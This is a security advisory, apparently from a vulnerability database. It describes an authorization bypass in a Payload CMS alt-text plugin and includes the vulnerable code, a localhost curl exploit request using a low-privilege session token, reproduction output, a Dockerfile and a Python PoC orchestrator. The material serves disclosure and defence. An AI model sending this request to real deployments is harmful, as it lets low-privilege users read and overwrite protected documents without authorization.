VDB
Sign up
HIGH7.1

GHSA-4qpv-39hg-f7fx

@jhb.software/payload-alt-text-plugin: Alt Text Endpoint Authorization Bypass via Payload Local API `overrideAccess` Omission

Details

## Alt Text Endpoint Authorization Bypass via Payload Local API `overrideAccess` Omission

### Summary

`@jhb.software/payload-alt-text-plugin` v0.7.0 exposes custom Payload CMS endpoints (`POST /api/alt-text-plugin/generate` and `/bulk`) that call the Payload Local API (`findByID` and `update`) without setting `overrideAccess: false`. Because Payload's internal logic evaluates `shouldOverrideAccess = overrideAccess !== false`, omitting the parameter causes it to default to `true`, silently bypassing all collection-level access control functions. Any authenticated user — regardless of role — can read and overwrite the `alt` and `keywords` fields of arbitrary upload documents that would otherwise be protected by restrictive collection access rules. The vulnerability is rated **High** (CVSS 7.1).

### Details

The plugin registers two network endpoints in `alt-text/src/plugin.ts:179-186`. Their default access guard (`plugin.ts:55`) only checks `!!req.user`, meaning any authenticated session satisfies the check regardless of the role required by the underlying collection.

The endpoint handler at `alt-text/src/endpoints/generateAltText.ts` accepts user-controlled `id`, `collection`, `locale`, and `update` fields from the request body (`line 29`), then passes them directly to two unsecured Local API calls:

**Read bypass** (`generateAltText.ts:31`): ```typescript const imageDoc = await req.payload.findByID({ id, collection, depth: 0, // overrideAccess: false is absent → defaults to true }) ```

**Write bypass** (`generateAltText.ts:121`): ```typescript await req.payload.update({ id, collection, data: { alt: result.result.altText, keywords: result.result.keywords, }, locale: targetLocale, // overrideAccess: false is absent → defaults to true }) ```

The bulk endpoint (`alt-text/src/endpoints/bulkGenerateAltTexts.ts`) repeats the same pattern at lines `120` (read) and `170` (write).

Payload's internal resolution of `overrideAccess` is: ``` shouldOverrideAccess = overrideAccess !== false // undefined !== false → true → collection access function is never called ```

Because the collection-level `read` and `update` access functions are never invoked, any attacker with a valid session can target documents in any upload collection, regardless of how that collection's access is configured.

### PoC

**Environment setup:**

1. Clone the repository and install `@jhb.software/payload-alt-text-plugin@0.7.0` into a Payload v3 project. 2. Configure an upload collection named `media` with `read` and `update` access restricted to users with `role: "admin"`. 3. Configure the plugin with `collections: ["media"]` and a resolver that returns `{ success: true, result: { altText: "PWNED_BY_EXPLOIT", keywords: ["hacked", "bypass"] } }`. 4. As an admin, create a media document (e.g., ID `doc-001`) with `alt = "original safe alt text"`. 5. Obtain a session token for a non-admin user (`role: "user"`).

**Build and run the dynamic PoC (Docker):**

```bash # Build docker build -t vuln001-poc -f vuln-001/Dockerfile .

# Run docker run --rm vuln001-poc ```

**Exploit request:**

```bash curl -i -b "payload-token=<LOW_PRIV_TOKEN>" \ -H "Content-Type: application/json" \ -X POST http://localhost:3000/api/alt-text-plugin/generate \ --data '{"collection":"media","id":"doc-001","locale":"en","update":true}' ```

**Expected result:**

- HTTP 200 is returned. - The response body contains `"altText": "PWNED_BY_EXPLOIT"`. - A subsequent admin read of `media/doc-001` confirms `alt = "PWNED_BY_EXPLOIT"` and `keywords = ["hacked", "bypass"]`, despite the collection's update access being restricted to admins.

**Control verification (confirms the bypass is real, not a misconfiguration):**

A direct Local API call with `overrideAccess: false` by the same non-admin user throws `AccessError: update denied for collection "media" (user role: user)`, proving that the access rule is correct and the plugin endpoint is the vector.

**Dynamic reproduction output (Phase 2 confirmed):**

``` VULN-001: Alt Text endpoint authorization bypass Payload Local API overrideAccess omission in generateAltText.ts:31 and :121

[Step 1] Control: non-admin direct update with overrideAccess:false PASS: access correctly denied → AccessError

[Step 3] EXPLOIT: non-admin calls POST /api/alt-text-plugin/generate HTTP status : 200 Response : {"id":"doc-001","collection":"media","altText":"PWNED_BY_EXPLOIT","keywords":["hacked","bypass"]}

VULNERABILITY CONFIRMED — EXPLOITATION SUCCESSFUL ```

### Impact

This is an **Incorrect Authorization** vulnerability (CWE-863). The plugin's endpoints act as an authorization bypass tunnel into Payload's Local API. Any authenticated user — a subscriber, editor, or any low-privilege role — can:

1. **Read** the content of arbitrary upload documents that collection access rules would otherwise deny them. 2. **Overwrite** the `alt` text and `keywords` fields on those documents, effectively performing unauthorized content modification.

Operators who restrict upload collection access by role (a common production pattern) are fully impacted. Attackers do not need admin credentials; any valid session suffices. The vulnerability is exploitable on all default deployments where the plugin is enabled, with no special configuration required on the attacker's side.

### Reproduction artifacts

#### `Dockerfile`

```dockerfile # Dockerfile for VULN-001 dynamic reproduction # # Build context: the parent directory that contains both # repo/ (jhb-software/payload-plugins clone) # vuln-001/ (this workspace) # # Build: docker build -t vuln001-poc -f vuln-001/Dockerfile . # Run: docker run --rm vuln001-poc

FROM node:22-slim

WORKDIR /app

# ---- Copy plugin source files required by the PoC ---- # Only the endpoint under test and its direct dependencies are needed. # No Payload framework install required: we mock it in the PoC.

COPY repo/alt-text/src/endpoints/generateAltText.ts ./plugin/src/endpoints/generateAltText.ts COPY repo/alt-text/src/endpoints/schemas.ts ./plugin/src/endpoints/schemas.ts COPY repo/alt-text/src/utilities/mimeTypes.ts ./plugin/src/utilities/mimeTypes.ts COPY repo/alt-text/src/types/AltTextPluginConfig.ts ./plugin/src/types/AltTextPluginConfig.ts COPY repo/alt-text/src/resolvers/types.ts ./plugin/src/resolvers/types.ts

# ---- Copy PoC files ---- COPY vuln-001/package_inner.json ./package.json COPY vuln-001/inner_poc.ts ./inner_poc.ts

# ---- Install minimal runtime dependencies ---- # zod: schema validation used by the endpoint handler # tsx: TypeScript executor that handles .js→.ts extension mapping RUN npm install --no-audit --no-fund

# ---- Run the PoC ---- CMD ["node_modules/.bin/tsx", "inner_poc.ts"] ```

#### `poc.py`

```python #!/usr/bin/env python3 """ poc.py — VULN-001 Dynamic Reproduction Orchestrator

Vulnerability: @jhb.software/payload-alt-text-plugin v0.7.0 Title: Alt Text endpoint authorization bypass via Payload Local API overrideAccess omission CWE: CWE-863 (Incorrect Authorization)

This script: 1. Builds a Docker image containing the real plugin endpoint source. 2. Runs the container, which calls the endpoint handler with a non-admin user. 3. Captures stdout/stderr as evidence. 4. Writes the result to phase2_result.json.

Usage: python3 poc.py

Safety: - All traffic stays on 127.0.0.1 / localhost inside Docker. - No external services are contacted. - No live credentials are used. """

import json import os import subprocess import sys

# --------------------------------------------------------------------------- # Paths # ---------------------------------------------------------------------------

THIS_DIR = os.path.dirname(os.path.abspath(__file__)) # Build context: parent directory that contains both repo/ and vuln-001/ BUILD_CONTEXT = os.path.dirname(THIS_DIR) DOCKERFILE = os.path.join(THIS_DIR, "Dockerfile") IMAGE_TAG = "vuln001-poc" RESULT_FILE = os.path.join(THIS_DIR, "phase2_result.json")

BUILD_COMMAND = f"docker build -t {IMAGE_TAG} -f vuln-001/Dockerfile ." RUN_COMMAND = f"docker run --rm {IMAGE_TAG}" POC_COMMAND = f"python3 poc.py"

def run(cmd: list[str], cwd: str, timeout: int = 180) -> tuple[int, str, str]: """Run a subprocess and return (returncode, stdout, stderr).""" result = subprocess.run( cmd, cwd=cwd, capture_output=True, text=True, timeout=timeout, ) return result.returncode, result.stdout, result.stderr

def write_result(passed: bool, verdict: str, reason: str, evidence: str, build_out: str = "", run_out: str = "", failure_detail: str = "") -> None: """Write phase2_result.json.""" data: dict = { "passed": passed, "verdict": verdict, "reason": reason, "build_command": BUILD_COMMAND, "run_command": RUN_COMMAND, "poc_command": POC_COMMAND, "evidence": evidence, "artifacts": ["Dockerfile", "poc.py"], } if failure_detail: data["failure_detail"] = failure_detail if build_out: data["build_output_tail"] = build_out[-2000:] if run_out: data["run_output"] = run_out with open(RESULT_FILE, "w", encoding="utf-8") as fh: json.dump(data, fh, indent=2, ensure_ascii=False) print(f"\nResult written to: {RESULT_FILE}")

def main() -> int: # ----------------------------------------------------------------------- # Step 1: Build the Docker image # ----------------------------------------------------------------------- print("=" * 60) print("VULN-001 Dynamic Reproduction") print("=" * 60) print() print(f"[1/2] Building Docker image: {IMAGE_TAG}") print(f" Context : {BUILD_CONTEXT}") print(f" Command : {BUILD_COMMAND}") print()

rc, build_stdout, build_stderr = run( ["docker", "build", "-t", IMAGE_TAG, "-f", "vuln-001/Dockerfile", "."], cwd=BUILD_CONTEXT, )

combined_build = (build_stdout + build_stderr).strip() if rc != 0: print("ERROR: Docker build failed.") print(combined_build[-3000:]) write_result( passed=False, verdict="FAIL", reason="Docker 빌드 실패 — npm install 또는 파일 복사 오류", evidence="", build_out=combined_build, failure_detail=f"docker build exit code {rc}:\n{combined_build[-2000:]}", ) return 1

print(" Build succeeded.") print()

# ----------------------------------------------------------------------- # Step 2: Run the PoC container # ----------------------------------------------------------------------- print(f"[2/2] Running PoC container") print(f" Command : {RUN_COMMAND}") print()

rc, run_stdout, run_stderr = run( ["docker", "run", "--rm", IMAGE_TAG], cwd=BUILD_CONTEXT, )

combined_run = (run_stdout + run_stderr).strip() print(combined_run) print()

# ----------------------------------------------------------------------- # Step 3: Evaluate the output # ----------------------------------------------------------------------- success_marker = "VULNERABILITY CONFIRMED" pwned_marker = "PWNED_BY_EXPLOIT"

if rc == 0 and success_marker in combined_run and pwned_marker in combined_run: # Extract the key evidence block lines = combined_run.splitlines() evidence_lines = [] in_block = False for line in lines: if success_marker in line or pwned_marker in line or "EXPLOITATION" in line: in_block = True if in_block: evidence_lines.append(line) if in_block and line.startswith("→"): break evidence = "\n".join(evidence_lines) if evidence_lines else combined_run[-1500:]

write_result( passed=True, verdict="PASS", reason=( "비관리자(role=user) 세션이 POST /api/alt-text-plugin/generate?update=true 호출을 통해 " "admin 전용 컬렉션의 문서 필드(alt, keywords)를 임의 수정하는 것을 실제 엔드포인트 코드 실행으로 확인. " "generateAltText.ts:121에서 payload.update()가 overrideAccess:false 없이 호출되어 " "Payload Local API의 기본 shouldOverrideAccess = undefined !== false → true 로직에 의해 " "컬렉션 레벨 access 함수가 우회됨. " "직접 update(overrideAccess:false) 호출은 AccessError로 차단되지만 플러그인 엔드포인트 경유 시 성공." ), evidence=evidence, run_out=combined_run, ) print("PASS — vulnerability dynamically confirmed.") return 0

else: print("FAIL — success marker not found or container exited non-zero.") write_result( passed=False, verdict="FAIL" if rc != 0 else "INCOMPLETE", reason=( f"컨테이너 종료 코드 {rc}. " "성공 마커(VULNERABILITY CONFIRMED)가 출력에서 발견되지 않음. " "로그를 확인하여 원인 파악 필요." ), evidence=combined_run[-2000:], run_out=combined_run, failure_detail=f"Container exit code: {rc}\nstdout+stderr:\n{combined_run}", ) return 1

if __name__ == "__main__": sys.exit(main()) ```

Are you affected?

Enter the version of the package you're using.

Affected packages

npm/@jhb.software/payload-alt-text-plugin
Introduced in: 0

No fixed version published yet for @jhb.software/payload-alt-text-plugin (npm). Pin to a known-safe version or switch to an alternative.

References